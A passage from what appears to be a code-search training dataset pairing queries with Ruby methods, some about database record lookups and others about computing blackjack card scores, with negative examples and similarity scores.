item)\n field_segments = action.lookup_field_value_pair.field.split('.')\n\n # a syntax for doing a join within the lookup. This could be extended\n # to handle any number of db_actions by extracting it into a\n # recursive helper method\n if field_segments.count == 3\n db_action, table, field = field_segments\n records =\n eval(\"#{klass.name}.#{db_action}(:#{table})\")\n .where(\"#{field} = ?\", lookup_value)\n else\n records = klass.where(\"#{field_segments.first} = ?\", lookup_value)\n end\n end\n records\n end", "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n arel_columns = column_names.map{ |c| Arel::Attribute.new(s, c) }\n Trade::SandboxTemplate.select('*').from(\"#{table_name}_view\").where(\n arel_columns.shift.eq(arel_columns.shift)\n )\n end", "def index\n @q= Provider.ransack(params[:q])\n @providers = @q.result.uniq\n @providers = @providers.order('id ASC')\n end", "def records(options = {})\n records_base(options)\n end", "def records(opts = {})\n opts = opts.merge(@opts)\n client.list_records(opts).full.lazy.flat_map do |rec|\n @record_class.build(mint_id(rec.header.identifier),\n record_xml(rec))\n\n end\n end", "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n arel_columns = column_names.map { |c| Arel::Attribute.new(s, c) }\n first_column = arel_columns.shift\n second_column = arel_columns.shift\n s.project(s[Arel.star]).where(first_column.eq(second_column))\n end", "def resources\n @resources ||=\n query_service.custom_queries.find_by_property(property: :source_metadata_identifier, value: [], lazy: true).select do |resource|\n id = resource.source_metadata_identifier.first\n next if /99.*3506421/.match?(id)\n next if transform_id(id).length > 18\n RemoteRecord.catalog?(id)\n end.to_a\n end", "def get_records(layer, ids)\n features_hash = get Endpoint.records(layer, ids)\n records = []\n features_hash['features'].each do |feature_hash|\n record = Record.parse_geojson_hash(feature_hash)\n record.layer = layer\n records << record\n end\n records\n end", "def fetch_records_field(record_class:, record_ids:, field:)\n output = []\n record_ids.each do |record_id|\n key = get_key_for_record_id(record_id: record_id, record_class: record_class)\n data = REDIS_APP_JOIN.hget(key, field)\n output << data if data # checks if nil\n end\n return output.uniq\n end", "def search(records, field, criteria)\n records.where(\"#{field} = ?\", encrypt(criteria))\n end", "def to_a\n return @records unless loadable?\n\n @response = cache.get_or_set_query(klass, options) do\n connection.documents({ query: options })\n end\n\n @records = []\n\n if @response.success?\n records = @response.members.attributes[\"query\"]\n\n records.each do |record|\n @records << klass.new(record.merge(persisted: true))\n end\n\n @loaded = true\n end\n\n @records\n end", "def keys; @records.keys; end", "def referenced_records\n result = []\n instance_variables.map do |var|\n value = instance_variable_get var\n Array(value).each do |val|\n result.push val if val.is_a?(Conjur::PolicyParser::Types::Base)\n end\n end\n result.flatten\n end", "def associated_rows_for(record)\n @includes.map do |method, attributes|\n associated_rows(Array.wrap(record.send(method)), attributes)\n end\n end", "def resource_records(powerdns_sql: false)\n soa_origin = powerdns_sql ? expand_dot(soa[:origin]) : soa[:origin]\n rr_soa = RR.new(soa_origin, expand_ttl(soa[:ttl]), \"IN\", \"SOA\")\n rr_soa.data = {\n primary: (:dot if powerdns_sql),\n email: (:dot if powerdns_sql),\n serial: nil,\n refresh: :ttl,\n retry: :ttl,\n expire: :ttl,\n minimumTTL: :ttl,\n }.map {|f, expand|\n val = soa[f]\n val = expand_dot(val) if expand == :dot\n val = expand_ttl(val) if expand == :ttl\n val\n }.join(\"\\t\")\n\n RECORDS.each_with_object(soa: rr_soa) do |(name, (type, *fields)), rrs|\n @records[name].each do |item|\n item = expand_dot_content(type, item) if powerdns_sql\n\n rr = RR.new(item[:name], expand_ttl(item[:ttl]), (item[:class] || \"IN\").upcase, type)\n rr.data = fields.map {|f| item[f] }.join(\"\\t\")\n rrs[type] ||= []\n rrs[type] << rr\n end\n end\n end", "def active_recordings\n self.recordings.where(active: true)\n end", "def active_recordings\n self.recordings.where(active: true)\n end", "def find(record_id)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\")\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects.first \n end", "def has_many_records( name )\n #Assumes this record has a \"name_ids\" and that a \"Name\" exists that is an active_record\n instance_var = \"@#{name}\"\n \n define_method( name ) do \n resource_class = name.to_s.classify.constantize\n finder_method = \"find_all_by_#{self.class.name.tableize.singularize}_id\"\n\n if instance_variable_get(instance_var).nil?\n instance_variable_set( instance_var, resource_class.send( finder_method, self.id ) )\n end\n instance_variable_get(instance_var)\n end \n end", "def associated_records\n raise NotImplementedError\n end", "def records_for(model)\n storage_name = model.storage_name(name)\n case storage_name.to_sym\n when :domains, :domain, :data_mapper_dh_api_models_domains\n @records[storage_name] ||= DataMapper::DhApi::Adapter.domains\n when :dnses, :dns, :data_mapper_dh_api_models_dns\n @records[storage_name] ||= DataMapper::DhApi::Adapter.dnses\n when :users, :user, :data_mapper_dh_api_models_users\n @records[storage_name] ||= DataMapper::DhApi::Adapter.users\n when :users_pw, :user_pw, :data_mapper_dh_api_models_users_pw\n @records[storage_name] ||= DataMapper::DhApi::Adapter.users_pw\n else\n raise NotImplementedError, \"Storage (#{storage_name}) not implemented\"\n end\n\n @records[storage_name] ||= []\n end", "def getify_array(array_of_records)\n return array_of_records.map{|r| r.get}\n end", "def qualified_candidates (collection)\n match=[]\n \n collection.each do |x|\n if years_of_experience(x[:years_of_experience]) && github_points(x[:github_points]) && knowledge(x[:languages]) && applied_time(x[:date_applied]) && old_enough(x[:age])\n match << (x)\n end\n end\n\n match\nend", "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n v = Arel::Table.new(valid_values_view)\n arel_nodes = column_names_for_matching.map do |c|\n if required_column_names.include? c\n v[c].eq(s[c])\n else\n # if optional, check if NULL is allowed for this particular combination\n # e.g. unit code can be blank only if paired with certain terms\n v[c].eq(s[c]).or(v[c].eq(nil).and(s[c].eq(nil)))\n end\n end\n valid_values = s.project(s['*']).join(v).on(arel_nodes.inject(&:and))\n scoped_records_arel(s).except(valid_values)\n end", "def get_records(table_name, opts)\n raise \"implement in subclass\"\n end", "def to_a\n return @records if loaded?\n\n load\n end", "def search(value)\n record_ids = []\n\n hash(value).each do |tri|\n if ids = index[tri]\n record_ids += ids\n end\n end\n record_ids.uniq!\n\n record_ids.collect { |id| records[id] }\n end", "def records_for_populate(options = {})\n records_base(options)\n end", "def search(db_records)\n if id && db_records[id]\n @fide_player = db_records[id]\n @icu_player = @fide_player.icu_player\n end\n end", "def prepare(search_term:, records:)\n return [] unless search_term.present? && records.present? && records.is_a?(Array)\n\n array = []\n records.map do |rec|\n item = rec.is_a?(Org) ? OrgSelection::OrgToHashService.to_hash(org: rec) : rec\n array << evaluate(search_term: search_term, record: item)\n end\n sort(array: deduplicate(records: filter(array: array)))\n end", "def retrieve_current_records(stdout = $stdout)\n session.list_records(@zone_name).body.map do |record|\n record_body = record.fetch('record')\n\n begin\n build_from_api(record_body)\n rescue StandardError\n stdout.puts \"Cannot build record: #{record_body}\"\n raise\n end\n end.select(&:present?)\n end", "def index\n @records = record_class.all\n end", "def matching_records_arel(table_name)\n s = Arel::Table.new(\"#{table_name}_view\")\n v = Arel::Table.new(valid_values_view)\n join_nodes = [\n appendix_join_node(s, v),\n year_join_node(s, v),\n taxon_concept_join_node(s, v)\n ]\n valid_values = s.project(s[Arel.star]).join(v).on(join_nodes.inject(&:and))\n not_null_nodes = column_names.map do |c|\n s[c].not_eq(nil)\n end\n s.project(Arel.star).where(not_null_nodes.inject(&:and)).except(valid_values)\n end", "def get_recordings\n # raise 'Login first!' unless @customer_login_id\n\n response = @savon.call :get_customer_recordings, \n message: { 'wsdl:sessionID' => session_id }\n\n # Returns an array of instances of the Recording class\n @recordings = TranscribeMe::Recording.new_from_soap response.body[:get_customer_recordings_response][:get_customer_recordings_result][:recording_info]\n end", "def get_records\n return error_response unless is_get_records_request?\n as_json\n end" ]
[ "0.65471923", "0.6459398", "0.63806516", "0.63690865", "0.62472486", "0.62401265", "0.61961997", "0.6161258", "0.6103535", "0.60991985", "0.6047942", "0.6035323", "0.59883994", "0.5941563", "0.59172106", "0.5853252", "0.5830838", "0.57436496", "0.5725649", "0.57112825", "0.57065564", "0.57065564", "0.56958026", "0.5693798", "0.5685661", "0.567785", "0.56695837", "0.56599617", "0.564655", "0.56440413", "0.56372607", "0.5632616", "0.56233823", "0.5600266", "0.5587354", "0.5585755", "0.5579681", "0.5577018", "0.55726194", "0.55666214", "0.55613625", "0.5553839", "0.5553839", "0.55489", "0.55422556", "0.5537399", "0.5526099", "0.5525736", "0.5522463", "0.5520597", "0.5512131", "0.5511571", "0.55069095", "0.54905707", "0.54533064", "0.5445426", "0.54334205", "0.5431955", "0.54303616", "0.54283243", "0.54206705", "0.542057", "0.5411463", "0.541019", "0.54074615", "0.54063857", "0.5405218", "0.5371246", "0.5367589", "0.5363384", "0.5352736", "0.5328182", "0.53266966", "0.53257465", "0.53246397", "0.53136903", "0.531209", "0.53071296", "0.5291875", "0.5288167", "0.5287195", "0.5285711", "0.528472", "0.5283009", "0.52788943", "0.5275474", "0.52748466", "0.5268231", "0.5258935", "0.5253845", "0.5250865", "0.5250195", "0.5236386", "0.5216512", "0.52081287", "0.5206437", "0.5205045", "0.52048767", "0.5199599", "0.51974446", "0.5196049" ]
0.0
-1
Returns an array of the zones managed by provider as strings
def zones raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def zones\n\t\tself.provider_account.zones\n\tend", "def zone_names; end", "def zone_names; end", "def zone_info\n @info.zones\n end", "def zone_identifiers\n @info.zone_identifiers\n end", "def zones\n zone_uris.map{ |u| Zone.find(u) }\n end", "def zones\n raise_not_implemented('zones')\n end", "def zones\n retry_on_connection_errors do\n session.zones.all_zones(account_id).data.map(&:name)\n end\n end", "def list_zones\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::DNS::Zerigo::ListZones.new,\n :path => '/api/1.1/zones.xml'\n )\n end", "def zones\n session.zones.map(&:domain)\n end", "def get_zones\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::DNS::Slicehost::GetZones.new,\n :path => 'zones.xml'\n )\n end", "def zones\n zone_identifiers.collect {|id|\n Timezone.get_proxy(id) \n }\n end", "def availability_zones\n data[:availability_zones]\n end", "def zones\n retry_on_connection_errors do\n client.zones.map { |zone| zone['zone'] }\n end\n end", "def zone_ids\n @@zone_ids\n end", "def zone_identifiers; end", "def zone_identifiers; end", "def availability_zones\n @group.availability_zones\n end", "def zones_in_array\n @zones.strip.split(ITEM_SEPARATOR).map { |i| i.to_i }\n end", "def all_zones\n self.zones + self.secondary_zones\n end", "def us_zones\n country_zones(:us)\n end", "def describe_availability_zones\n @os_aws.describe_availability_zones\n end", "def all\n @zones ||= zones_map.values.sort\n end", "def fc_zones(wwpn=nil)\n provider.fc_zones(wwpn)\n end", "def all_data_zone_identifiers; end", "def all_data_zone_identifiers; end", "def availability_zones\n end", "def availability_zones\n end", "def zone_ids\n chargeable_zones_data.map { |zone| zone['cleanAirZoneId'] }\n end", "def zones\n # Thread-safey: It is possible that the value of @zones may be \n # calculated multiple times in concurrently executing threads. It is not \n # worth the overhead of locking to ensure that @zones is only \n # calculated once.\n \n unless @zones\n zones = Zones.new\n @block.call(zones) if @block\n @block = nil\n @zones = zones.list.freeze\n end\n \n @zones\n end", "def get_zone_info\n\tzone_dirs = Dir.glob(File.join(POWERCAP_ROOT_DIR, '**', '*energy_uj'))\n zone_dirs.map! do |file|\n\t\tFile.dirname(file)\n\tend\n\tzone_info = []\n\tzone_dirs.each do |dir|\n\t\tinfo_hash = {}\n\t\tinfo_hash[:path] = dir\n\t\tinfo_hash[:name] = find_zone_name(dir)\n\t\tzone_info << info_hash\n\tend\n\tzone_info\nend", "def zones(id:)\n id_check(:id, id)\n\n cf_get(path: \"/organizations/#{org_id}/railguns/#{id}/zones\")\n end", "def load_zones\n return nil unless load_zones?\n\n @zones = []\n node['dns']['zones'].each do |zone|\n bag_name = node['dns']['bag_name'] || 'dns_zones'\n zones << data_bag_item(bag_name, Dhcp::Helpers.escape(zone)).to_hash\n end\n @zones\n end", "def zone\n fetch('games.final_fantasy_xiv.zones')\n end", "def getZoneIds(profile)\n zones = Array.new\n zonenames = Hash.new\n zonenamestemp = Hash.new\n json = `aws --profile #{profile} route53 list-hosted-zones`\n if json.length > 20\n parsed = JSON.parse(json)\n else\n puts \"No profile #{profile}. Please run with \\\"-h\\\"\"\n exit\n end\n # Gotta check if any servers at all\n if json.length > 20\n parsed[\"HostedZones\"].each do |zone|\n zones << zone[\"Id\"].split(\"/\").last\n zonenamestemp = { zone[\"Id\"].split(\"/\").last => zone[\"Name\"] }\n zonenames.merge!(zonenamestemp)\n end\n end\n return zones, zonenames\nend", "def all_linked_zone_identifiers; end", "def all_linked_zone_identifiers; end", "def listRegions\n\t\t\treturn MU::Config.listRegions\n\t\tend", "def all\n # return an array of all the regions\n return NAMES\n end", "def getRegionServers\n @admin.getClusterMetrics.getLiveServerMetrics.keySet.map { |server_name| server_name }\n end", "def host_vsan_zones(vsan_id, wwpn)\n return [] unless (vsan_zones = facts[\"zone_member\"][vsan_id])\n\n host_zones = vsan_zones.select do |_, members|\n members.include?(wwpn.downcase)\n end\n\n host_zones.map do |zone, _|\n zone\n end\n end", "def zone_name\n compliance_data[:name]\n end", "def zone_identifiers\n # Thread-safey: It is possible that the value of @zone_identifiers may be \n # calculated multiple times in concurrently executing threads. It is not \n # worth the overhead of locking to ensure that @zone_identifiers is only \n # calculated once.\n \n unless @zone_identifiers\n @zone_identifiers = zones.collect {|zone| zone.identifier}.freeze\n end\n \n @zone_identifiers\n end", "def index\n @dns_zones = DnsZone.all\n end", "def compile_zone_file\n hosts_seen = {}\n f = $stdout\n f.puts ZONE_HEADER % {:domain => provider.domain, :ns => provider.domain, :contact => provider.contacts.default.first.sub('@','.')}\n max_width = manager.nodes.values.inject(0) {|max, node| [max, relative_hostname(node.domain.full).length].max }\n put_line = lambda do |host, line|\n host = '@' if host == ''\n f.puts(\"%-#{max_width}s %s\" % [host, line])\n end\n\n f.puts ORIGIN_HEADER\n # 'A' records for primary domain\n manager.nodes[:environment => '!local'].each_node do |node|\n if node.dns['aliases'] && node.dns.aliases.include?(provider.domain)\n put_line.call \"\", \"IN A #{node.ip_address}\"\n end\n end\n\n # NS records\n if provider['dns'] && provider.dns['nameservers']\n provider.dns.nameservers.each do |ns|\n put_line.call \"\", \"IN NS #{ns}.\"\n end\n end\n\n # all other records\n manager.environment_names.each do |env|\n next if env == 'local'\n nodes = manager.nodes[:environment => env]\n next unless nodes.any?\n f.puts ENV_HEADER % (env.nil? ? 'default' : env)\n nodes.each_node do |node|\n if node.dns.public\n hostname = relative_hostname(node.domain.full)\n put_line.call relative_hostname(node.domain.full), \"IN A #{node.ip_address}\"\n end\n if node.dns['aliases']\n node.dns.aliases.each do |host_alias|\n if host_alias != node.domain.full && host_alias != provider.domain\n put_line.call relative_hostname(host_alias), \"IN A #{node.ip_address}\"\n end\n end\n end\n if node.services.include? 'mx'\n put_line.call relative_hostname(node.domain.full_suffix), \"IN MX 10 #{relative_hostname(node.domain.full)}\"\n end\n end\n end\n end", "def course_providers_list\n # TODO: Make sure course_providers are not huge. Very unlikely though\n course_providers.active.map do |cp|\n [\"#{ cp.locality } - #{ cp.city } - #{ cp.state }\", cp.id]\n end\n end", "def select_availability_zone\n compute.list_zones[:body]['availabilityZoneInfo'].map { |z| zonelist << [z['zoneName'], z['zoneName']] }\n end", "def index\n @zones = Zone.all\n end", "def index\n @zones = Zone.all\n end", "def timezones\n response = @client.get 'scans/timezones'\n verify response,\n unauthorized: 'You do not have permission to view timezones',\n internal_server_error: 'Internal server error occurred'\n end", "def zones(name: nil, status: nil, per_page: 50, page: 1)\n params = {}\n params[:per_page] = per_page\n params[:page] = page\n params[:name] = name unless name.nil?\n\n unless status.nil?\n raise \"status must be one of #{VALID_ZONE_STATUSES.flatten}\" unless VALID_ZONE_STATUSES.include?(status)\n params[:status] = status\n end\n\n cf_get(path: '/zones', params: params)\n end", "def data_store_zones(id)\n response = request(:get, \"/users/#{id}/data_store_zones.json\")\n response.collect { |vm| vm['data-store-group']}\n end", "def zone_identifiers\n raise_not_implemented('zone_identifiers')\n end", "def zones(id:)\n raise 'must provide the id of the railgun' if id.nil?\n cf_get(path: \"/railguns/#{id}/zones\")\n end", "def timezone_enum\n TZInfo::Country.get('US').zones.map{|tz|tz.name}\n end", "def describe_availability_zones(params)\n response = ERB.new(File.read(@config[:views]+\"/describe_availability_zones.erb\"))\n return response.result(binding), 200\n end", "def list_transport_zones(opts = {})\n data, _status_code, _headers = list_transport_zones_with_http_info(opts)\n data\n end", "def available_zones\n @available_zones ||= (\n zones = ENV['TIMELORD_ZONES'].try(:split, ',')\n zones ||= TRIGGER_MAP.keys\n TRIGGER_MAP.slice(*zones.map(&:to_sym))\n )\n end", "def available_services_regions\n unless @regions\n @regions = []\n service_catalog.each do |service|\n next if service[\"type\"]==\"identity\"\n (service[\"endpoints\"] || []).each do |endpint|\n @regions << endpint['region']\n end\n end\n @regions.uniq!\n end\n @regions\n end", "def regions\n AWS.regions.map(&:name)\n end", "def zones_for(country_name)\r\n\t\t\tcountries = Country.find_all_by_name(country_name)\r\n\t\t\tif countries.nil? or countries.empty?\r\n\t\t\t\t[default_zone]\r\n\t\t\telse\r\n\t\t\t\tcountries.collect { |country| country.shipping_zone }.sort { |x, y| -(x.default_zone <=> y.default_zone) || (x.position <=> y.position) }\r\n\t\t\tend\r\n\t\tend", "def to_s\n \"Zoneinfo DataSource: #{@zoneinfo_dir}\"\n end", "def list_zones(server_id, opts = {})\n data, _status_code, _headers = list_zones_with_http_info(server_id, opts)\n data\n end", "def timezones\n subcomponents[\"VTIMEZONE\"]\n end", "def getRegions(config, servername)\n connection = HConnectionManager::getConnection(config);\n return ProtobufUtil::getOnlineRegions(connection.getAdmin(ServerName.valueOf(servername)));\nend", "def zone_available_vips(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone/route_vips?#{parameters}\")\n end", "def zone_info(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone?#{parameters}\")\n end", "def providers\n @providers.keys\n end", "def zone_list(limit = 100, offset = 0, name = nil, sub_id = nil, status = nil)\n send_req({\n act: :zone_list,\n offset: offset,\n zone_name: name,\n sub_id: sub_id,\n zone_status: status\n })\n end", "def list_availability_zones(ec2_client)\n result = ec2_client.describe_availability_zones\n # Enable pretty printing.\n max_region_string_length = 16\n max_zone_string_length = 18\n max_state_string_length = 9\n # Print header.\n print \"Region\"\n print \" \" * (max_region_string_length - \"Region\".length)\n print \" Zone\"\n print \" \" * (max_zone_string_length - \"Zone\".length)\n print \" State\\n\"\n print \"-\" * max_region_string_length\n print \" \"\n print \"-\" * max_zone_string_length\n print \" \"\n print \"-\" * max_state_string_length\n print \"\\n\"\n # Print Regions, Availability Zones, and their states.\n result.availability_zones.each do |zone|\n print zone.region_name\n print \" \" * (max_region_string_length - zone.region_name.length)\n print \" \"\n print zone.zone_name\n print \" \" * (max_zone_string_length - zone.zone_name.length)\n print \" \"\n print zone.state\n # Print any messages for this Availability Zone.\n if zone.messages.count.positive?\n print \"\\n\"\n puts \" Messages for this zone:\"\n zone.messages.each do |message|\n print \" #{message.message}\\n\"\n end\n end\n print \"\\n\"\n end\nend", "def all_zones\n @zones = Zone.all\n @user = current_user\n\n respond_to do |format|\n format.html # all_zones.html.erb\n format.json { render json: @zones }\n end\n end", "def zones\n qry = ActiveRDF::Query.new(ImageZone).select(:zone).distinct\n qry.where(self, N::TALIA.hasSubZone, :zone)\n qry.execute\n end", "def zone\n strftime('%Z')\n end", "def listAZs(region = MU.curRegion)\n\t\t\tazs = MU::Config.listAZs(region)\n\t\t\treturn azs\n\t\tend", "def get_all_thermal_blocks()\n zones = find_all_commands(\"ZONE\")\n end", "def get_zone_info(compute)\n zone = JSON.parse(compute['ciAttributes']['zone'])\n return \"#{zone['fault_domain']}_#{zone['update_domain']}\"\n end", "def get_zone\n return @resource[:name]\n end", "def formats\n providers.keys\n end", "def zones_by_name(name, max_items = nil)\n client.list_hosted_zones_by_name(\n dns_name: name,\n max_items: max_items,\n )&.hosted_zones\n end", "def zone_data\n @zone_data ||= ComplianceCheckerApi.clean_air_zones\n end", "def zone\n if @_utc then\n return \"UTC\"\n else\n return self.to_a[IDX_ZONE]\n end\n end", "def zone_identifier; end", "def zone_identifier; end", "def help\n @zones = CleanAirZone.all\n end", "def name_servers\n Array(@gapi.name_servers)\n end", "def country_list\n @countries ||= case kind\n when 'country' then\n zoneables\n when 'state' then\n zoneables.collect(&:country)\n when 'county'\n zone_member.zoneable.country_list\n else\n []\n end.flatten.compact.uniq\n end", "def list_zone(server_id, zone_id, opts = {})\n data, _status_code, _headers = list_zone_with_http_info(server_id, zone_id, opts)\n data\n end", "def current_zone_data\n GameData::Zone.get(@zone)\n end", "def index\n @zones = Zone.all\n\n render json: @zones\n end", "def inspect\n \"#<#{self.class}: #{@zoneinfo_dir}>\"\n end", "def describe_zones(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeZones'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def provider_box\n strings = []\n strings << @document.provider_name\n strings << @labels[:provider]\n @document.provider_lines.split(\"\\n\").each do |line|\n strings << line\n end\n strings << \"#{@labels[:tax_id]}: #{@document.provider_tax_id}\" \\\n unless @document.provider_tax_id.empty?\n strings << \"#{@labels[:tax_id2]}: #{@document.provider_tax_id2}\" \\\n unless @document.provider_tax_id2.empty?\n strings\n end", "def zone_check(*zones)\n send_req({a: :zone_check, zones: zones.kind_of?(Array) ? zones.join(',') : zones})\n end", "def zone_permissions(zone_name)\n parameters = \"zone=#{zone_name}\"\n request(:get, \"/api/zone/permissions?#{parameters}\")\n end", "def regions\n client.get_stats('/stats/regions')\n end", "def get_zones_per_space_type(space_type)\n list_of_zones = []\n model_space_type = @model.getSpaceTypeByName(space_type.name.get).get\n model_space_type.spaces.each do |space|\n list_of_zones << space.thermalZone.get\n end\n return list_of_zones\n end", "def country_list\n return [] if type == \"state\"\n return countries if type == \"country\"\n members.collect { |zone| zone.country_list }.flatten\n end", "def gather_zk_ips(cluster)\n zk_ips = ''\n cluster['masters'].each_with_index do |master, i|\n if master['run'].include? 'zookeeper'\n if zk_ips != ''\n zk_ips = zk_ips + \",\"\n end\n zk_ips = zk_ips + cluster['master_ipbase']+\"#{10+i}\"\n end\n end\n return zk_ips\nend", "def supported_locales\n Dir[path_to_cached_locales].map { |path| path =~ /([\\w-]+)\\/timezones\\.yml/ && $1 }\n end", "def availability_zones\n AvailabilityZoneCollection.new(self)\n end" ]
[ "0.79429805", "0.75120246", "0.75120246", "0.7230447", "0.7071339", "0.70540637", "0.69979024", "0.699423", "0.6966636", "0.69516176", "0.6862275", "0.68405527", "0.6740473", "0.6736211", "0.6707684", "0.6658854", "0.6658854", "0.66318566", "0.6565162", "0.6564181", "0.6549892", "0.6433299", "0.63568443", "0.63225836", "0.63144815", "0.63144815", "0.6301489", "0.6301489", "0.630039", "0.6275453", "0.62487245", "0.61979556", "0.61703527", "0.6140196", "0.61008155", "0.6088291", "0.6088291", "0.60356766", "0.6006399", "0.5974627", "0.59584576", "0.5955139", "0.5895879", "0.58899415", "0.58773375", "0.58740854", "0.58439755", "0.5842646", "0.5842646", "0.5837897", "0.58276415", "0.5824952", "0.58242273", "0.58187854", "0.58183736", "0.5804825", "0.57839096", "0.5764028", "0.57606965", "0.5735956", "0.5716902", "0.5716479", "0.5705328", "0.569517", "0.5694785", "0.5689866", "0.5670888", "0.56591153", "0.5657881", "0.5650657", "0.5643867", "0.56422323", "0.5636028", "0.5627609", "0.56214017", "0.562115", "0.5615511", "0.56128186", "0.5564004", "0.55595165", "0.5553502", "0.5535432", "0.5535432", "0.55337024", "0.55155396", "0.5508278", "0.54836905", "0.5481645", "0.54783565", "0.54759055", "0.5468903", "0.5454578", "0.5450643", "0.54505825", "0.5445161", "0.5437637", "0.5426008", "0.5415821", "0.5408805", "0.5404486" ]
0.6860674
11
Define a method for calculating possible scores given a set of cards
def possible_scores(cards) scores = [0] cards.each do |card| if card.face != 'Ace' scores.map! {|score| score + card.value} else new_scores = Array.new scores.each do |score| new_scores << score + 1 new_scores << score + 11 end scores = new_scores end end return scores.uniq.select {|score| score < 22} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_score (cards)\n\t\tscore = 0\n\t\tcards.each do |card|\n\t\t\tmeasure = card[0]\n\t\t\tscore += @score[measure]\n\t\tend\n\t\tscore\n\tend", "def score(cards)\n\nend", "def determine_score(deck)\n total = 0\n deck.each do |suit|\n suit[1].each do |card|\n total += score(card)\n end\n end\n total\nend", "def possible_scores\n card_values.inject([0]) do |memo, item|\n if ace_value?(item)\n added_one = memo.map { |score| score + 1 }\n added_one << (added_one.last + 10)\n else\n memo.map { |number| number + item.first }\n end\n end\n end", "def total_score\n total = 0\n @cards.each do |card|\n total += card.value\n end\n\n sorted_cards = @cards.sort\n\n straights = get_straight(sorted_cards).reverse\n straights.each do |straight|\n total += 40\n sorted_cards.slice!(straight[0]..straight[1])\n end\n\n three_cards = get_number_of_a_kind(sorted_cards, 3)\n three_cards.each do |three|\n total += 20\n sorted_cards.slice!(three[0]..three[1])\n end\n\n pairs = get_number_of_a_kind(sorted_cards, 2)\n pairs.each do |pair|\n total += 10\n sorted_cards.slice!(pair[0]..pair[1])\n end\n\n total\n end", "def calculate_score(values)\n total = 0\n values.each do |card|\n total += card\n if total > 21 && card == 11\n total -= 10\n end\n end\n total\n end", "def calculate_score(hand_of_cards)\n card_values = hand_of_cards.map{|card_value| card_value[1]}\n total = 0 \n card_values.each do |card_value| \n if card_value == \"ACE\"\n total+= 11\n elsif card_value.to_i == 0 #For suits ie Jester, Queen\n total+= 10\n else \n total+= card_value.to_i\n end\n end \n\n#adjust for Aces\n card_values.select{|card| card == \"ACE\"}.count.times do \n total-=10 if total > 21\n end \n total\nend", "def cards_to_score(cards)\n \n total = 0\n cards_num = []\n\n cards.each { |card| cards_num.push(card % 13) }\n\n cards_num.sort.reverse.each do |num|\n if num >= 9 #9, 10, 11, 12 means 10, J, Q, K\n total = total + 10\n elsif num > 0 #which means 2, 3, 4, 5, 6, 7, 8, 9\n total = total + num + 1\n end\n end\n\n a_count = cards_num.count(0)\n\n total = total + a_count\n\n a_count.times do\n total = total + 10 if total <= 11\n end\n\n return total\nend", "def score\n @cards.map(&:value).inject(:+)\n end", "def scores\n return Game.score(self.card_numbers self.user_id), Game.score(self.card_numbers nil)\n end", "def score\n # make a local array that will disappear when not in this method\n tally = []\n # for each of the cards in the hand, add their score to the tally from points\n @hand.each do |card|\n tally.push(@points[card])\n end\n # return the tally of the scores\n return tally.sum\nend", "def score\n score = 0\n aces_count = 0\n @hand_contents.each do |card|\n if card.type == :face\n score += 10\n elsif card.type == :ace\n aces_count += 1\n score += 11\n elsif card.type == :number\n score += card.rank.to_i\n end\n end\n\n while score > 21 && aces_count > 0\n score -= 10\n aces_count -= 1\n end\n score\n end", "def blackjack_score(hand)\n allowed_cards = %w[ 2 3 4 5 6 7 8 9 10 Jack Queen King Ace ]\n\n# Validate input\n if hand.length > 5\n raise ArgumentError.new(\"Your hand contains more than 5 cards.\")\n end \n\n result = hand.all? {|card| allowed_cards.include?(card)}\n if !result\n raise ArgumentError.new(\"Invalid card value.\")\n end \n\n# Calculate score \n score = 0\n hand.each do |card|\n if card.length <= 2\n points = card.to_i\n score += points\n elsif card.length == 3 \n score += 1\n else \n score += 10 \n end \n end\n\n if score <= 11 && hand.include?(\"Ace\")\n score += 10\n end\n\n# Validate result\n if score > 21\n raise ArgumentError.new(\"#{score} is greater than 21, you lose!\")\n end\n\n return score \nend", "def score_numbers(cards_numbers)\n cards_numbers.sum { |card| card.value.to_i }\n end", "def score(card)\n case card\n when :ace then 11 # assigns value to each symbol, helps with scoring\n when :king then 10\n when :queen then 10\n when :jack then 10\n else card\n end\nend", "def get_hand_score\n score = 0\n \n # Add up score of non-aces\n values = hand.map{|card| card.value}\n values.each do |val|\n if Array(2..10).include?(val.to_i)\n score += val.to_i\n elsif [\"J\", \"Q\", \"K\"].include?(val)\n score += 10\n end\n end\n\n # deal with the aces\n values.count(\"A\").times do\n if score + 11 <= 21\n score += 11\n else\n score += 1\n end\n end\n\n return score\n end", "def score\n dealt.inject(0){|sum,card| sum + card.value}\n end", "def card_scores\n card_scores = {\n \"JOKER\" => 13, \"J♠\" => 12, \"J♣\" => 11, \"A♠\" => 10, \"K♠\" => 9, \"Q♠\" => 8,\n \"10♠\" => 7, \"9♠\" => 6, \"8♠\" => 5, \"7♠\" => 4, \"6♠\" => 3, \"5♠\" => 2\n }\n 